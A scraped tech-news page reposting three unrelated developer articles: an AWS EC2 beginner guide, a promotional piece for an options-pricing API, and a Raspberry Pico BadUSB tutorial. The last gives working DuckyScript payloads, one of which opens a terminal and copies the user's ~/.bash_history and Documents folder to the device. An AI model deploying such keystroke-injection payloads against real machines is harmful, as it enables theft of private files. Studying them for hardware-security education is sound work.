inclusive – DAILY NEWS

TECH & AI

Cloud Engineer Journey #6 — EC2 Explained Simply & Launching Your First Cloud Server

jackminion May 19, 2026 0

After understanding:

Linux fundamentals
AWS basics
and Cloud Computing concepts,

it’s time to work with one of the most important AWS services:

EC2 is one of the core services in AWS and is heavily used in:

Cloud Engineering
DevOps
Hosting applications
Automation
CI/CD
Docker & Kubernetes environments

In this post, we’ll understand:

what EC2 actually is,
why companies use it,
and how to launch your first cloud server step by step.

I’ll keep everything beginner-friendly and practical.

EC2 stands for:

EC2 allows you to create virtual servers in the cloud.

Think of EC2 like:🖥️ renting a computer/server online whenever you need it.

Instead of buying physical hardware, AWS lets you launch servers within minutes.

These servers can run:

websites,
applications,
databases,
APIs,
automation tools,
and many cloud workloads.

Most modern cloud applications run on servers.

EC2 helps companies:

deploy applications quickly,
scale resources,
reduce hardware costs,
and manage infrastructure more easily.

It is one of the most commonly used AWS services.

Imagine you want to host:

a website,
a backend application,
or a Jenkins server.

Instead of buying a physical machine:👉 you can launch an EC2 instance in AWS within minutes.

This is one of the main reasons cloud computing became so popular.

When you launch a server in AWS, it is called an:

Each instance includes:

CPU
Memory (RAM)
Storage
Networking
Operating System

Just like a real computer.

Before launching an EC2 instance, there are a few important concepts to understand.

An AMI is a preconfigured operating system template.

Example:

Amazon Linux
Ubuntu
Red Hat

Think of it like:💿 selecting which operating system you want to install on your server.

Instance type decides:

CPU power
RAM size
performance level

Example:

“`bash id=”22j9mo”t2.micro

This is commonly used in AWS Free Tier.

—

# 🔐 3. Key Pair

AWS uses SSH keys for secure login.

When creating an EC2 instance, AWS generates:

* a public key
* and a private key

The private key (`.pem` file) is used to connect to the server securely.

—

# 🛡️ 4. Security Groups

Security Groups act like virtual firewalls.

They control:

* incoming traffic
* outgoing traffic

Example:

* Allow SSH (port 22)
* Allow HTTP (port 80)

Without proper Security Group rules, you cannot access the server.

—

# 🌍 5. Region

AWS has multiple regions worldwide.

Example:

* Mumbai
* Virginia
* Singapore
* London

Choosing a region closer to users improves performance and reduces latency.

—

# 🚀 Launching Your First EC2 Instance

Basic steps:

### 1. Open AWS Console

Search for:

“`bash id=”mf4ib7″
EC2

Enter fullscreen mode

Exit fullscreen mode

2. Click “Launch Instance”

3. Select an AMI

Example:

4. Choose Instance Type

Example:

“`bash id=”7rk0p7″t2.micro

—

### 5. Create or Select Key Pair

Download the `.pem` file safely.

—

### 6. Configure Security Group

Allow:

* SSH (22)

Optional:

* HTTP (80)
* HTTPS (443)

—

### 7. Launch Instance

AWS will now create your cloud server.

—

# 🔗 Connecting to the EC2 Instance

Once the instance is running, connect using SSH.

Example:

“`bash id=”m1v2p2″
ssh -i key.pem ec2-user@your-public-ip

Enter fullscreen mode

Exit fullscreen mode

Now you are connected to your cloud server 🚀

EC2 is heavily used in:

application hosting,
automation,
CI/CD pipelines,
Docker setups,
Kubernetes clusters,
monitoring tools,
and cloud infrastructure.

Understanding EC2 is one of the biggest first steps in Cloud Engineering.

Try this on AWS:

Task:

Launch an EC2 instance
Use Amazon Linux AMI
Select t2.micro
Create a key pair
Configure Security Group for SSH
Connect to the instance using SSH

👉 In the next post, I’ll explain the solution and common beginner mistakes step by step.

EC2 may sound advanced at first, but the core idea is simple:

👉 AWS gives you virtual servers on demand.

Instead of managing physical infrastructure, you can launch servers within minutes and use them for real-world applications.

This is one of the most important foundations in AWS and Cloud Engineering ☁️

If you are learning AWS, Linux, or Cloud basics and need help with even small doubts, feel free to connect with me through LinkedIn or email — always happy to learn and grow together 🚀

Source link

TECH & AI

How to Price Options at the Institutional Level Using AI (PINNs) and Python

jackminion May 18, 2026 0

If you work or study the derivatives market, you know that speed and accuracy in calculating options prices are not just technical goals — they are competitive differentiators. Traditionally, we rely on the Black-Scholes model or Monte Carlo simulations structured in legacy code to approximate the fair price of a contract. However, when we need to scale these calculations to thousands of simultaneous requests or handle complex boundary conditions, processing bottlenecks appear. This is where the fusion between Artificial Intelligence and Financial Physics comes in: PINNs (Physics-Informed Neural Networks). In this article, I will show you how to consume an institutional-grade infrastructure based on physics-informed neural networks to price options in milliseconds using Python. What are PINNs and why do they matter in finance?Unlike traditional neural networks that need billions of historical data to “learn” a trend (and that often fail when trying to extrapolate), PINNs integrate mathematical laws directly into their loss function. mathematical hallucinations and we achieve absurdly fast inference power, ideal for high-frequency systems (HFT) and real-time risk management. Hands-on: Consuming PINN Master in PythonTo avoid having to assemble, train and host a cluster of GPUs to run this network from scratch, we will use PINN Master – Institutional Option Pricing, a robust API hosted in AZURE that exposes this model ready for production. Best of all? It has a 100% free tier for testing. Step 1: Get your credentialsBefore running the script, you just need to access the official PINN Master page on RapidAPI and subscribe to the free plan to release your access token. If you have any questions about getting started, there is a very simple to follow Official PINN Master Startup Tutorial. Step 2: The CodeWith your key in hand, use the code below to make a call to price a call: import requests # High performance API endpoint url = “https://pinn-master-institutional-option-pricing.p.rapidapi.com/v1/price” # Contract pricing parameters querystring = { “spot”: “100.0”, # Current price of the underlying asset “strike”: “100.0”, # Option strike price “volatility”: “0.20”, # Implied volatility (20%) “rate”: “0.05”, # Risk-free interest rate (5%) “maturity”: “1.0”, # Time to expiration (1 year) “type”: “call” # Contract type: call or put } headers = { “X-RapidAPI-Key”: “YOUR_FREE_CHAVE_AQUI”, “X-RapidAPI-Host”: “pinn-master-institutional-option-pricing.p.rapidapi.com” } try: response = requests.get(url, headers=headers, params=querystring) response.raise_for_status() dados_precificacao = response.json() print(“— PINN Master Invocation Result —“) print(dados_precificacao) except requests.exceptions.RequestException as e: print(f”Error connecting to quant infrastructure: {e}”) Enter fullscreen mode Exit fullscreen mode Why is this approach a game changer? Predictable Latency: By transferring the complexity of the mathematical calculation to an optimized neural network inference in the cloud, you gain homogeneous response time. Infrastructure Abstraction: The entire scalability architecture in AZURE is hidden behind a clean GET method. Easy Integration: You can plug this return directly into trading dashboards, dynamic spreadsheets or order execution bots.

Source link

TECH & AI

Hacking with Raspberry Pico: Terminal Text Injection and File Stealing

jackminion May 18, 2026 0

The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.

In my previous article USB Hacking Device Programming, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a concise language introduction.

And in this final article, practical exploits are developed. The exploits use the pico-ducky library, an interpreter for DuckyScript.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and pico-ducky commit #221e796. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Exploit 1: Terminal Text Injection

The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated – as an attempt to gauge that the user is not present

Requirements

Waiting for a fixed amount of time
Wait that no LED keys are pressed on the host
Open a new terminal
Inject a message

Learnings and Limitations

During implementation of this exploit, I learned the following:

A global variable cannot be used as an argument to the DELAY function
The commands to generate random characters and numbers, like RANDOM_NUMBER, are not supported
The WAIT_FOR_CAPS_OFF and similar commands are not processed, the script execution just continues
The HOLD and RELEASE commands work as normal keystrokes only
Inserting a not supported command at the end of the script stops the script execution – my choice is simple a STOPP on the last line

Implementation

With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a . on the screen with a fixed delay.

REM Target: OsX
REM Exploit: open text editor and write a message

FUNCTION SCARE()
STRING Hello World!
VAR $TIMER = 10
WHILE ($TIMER > 0)
STRING .
$TIMER = ($TIMER – 1)
DELAY 500
END_WHILE
END_FUNCTION

DELAY 5000
GUI SPACE
DELAY 1000
STRING Terminal.app
DELAY 1000
ENTER
DELAY 1500
SCARE()
STOP

Enter fullscreen mode

Exit fullscreen mode

Exploit 2: File Stealing

The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.

Requirements

Connect the device as HID and storage
Wait a fixed amount of time
Start a series of bash commands:

Open a terminal
Determine the likely mount path of the Pico
Access the host user document folder
Search and copy known file names

Disconnect the USB device or hide the copied files

Learnings and Limitations

Several more limitations became apparent during working on this sketch:

The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In boot.py and code.py, change all conditional checks for the Raspberry Pico W to a False value, e.g. replacing raspberry_pi_pico_w with raspberry_pi_pico. Note that this will disable the WIFI hotspot too.
There is no support for the ATTACK_MODE configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call storage.disable_usb_drive() is executed.
When chaining multiple bash commands together, which will take some execution time, using DELAY become a mandatory command
You cannot use the STRINGLN command
You need to customize the keyboard layout to match the target computers layout, see Changing Keyboard Layouts in the official documentation

Implementation

The following implementation assumes that the Pico device will get the /dev/disk2 device file. Without the option to disable USB storage, the Pico will connect and stay connected – but the files are copied nevertheless.

REM Target: OsX
REM Exploit: Copy well known files from the user home directory

GUI SPACE
DELAY 1000
STRING iterm.app
ENTER
DELAY 1500
ENTER
STRING export TARGET_PATH=$(df -h| grep /dev/disk2| sed -e ‘s/.*$\/Volumes\/.*$/\1/’)
DELAY 1500
ENTER
STRING cp ~/.bash_history $TARGET_PATH
DELAY 1500
ENTER
STRING cp -rv ~/Documents $TARGET_PATH/docs
DELAY 1500
ENTER
STOPP

Enter fullscreen mode

Exit fullscreen mode

Conclusion

The Raspberry Pico W can be turned into a physical hacking device with the help of the pico ducky library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the duckyinpython.py file for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.

Source link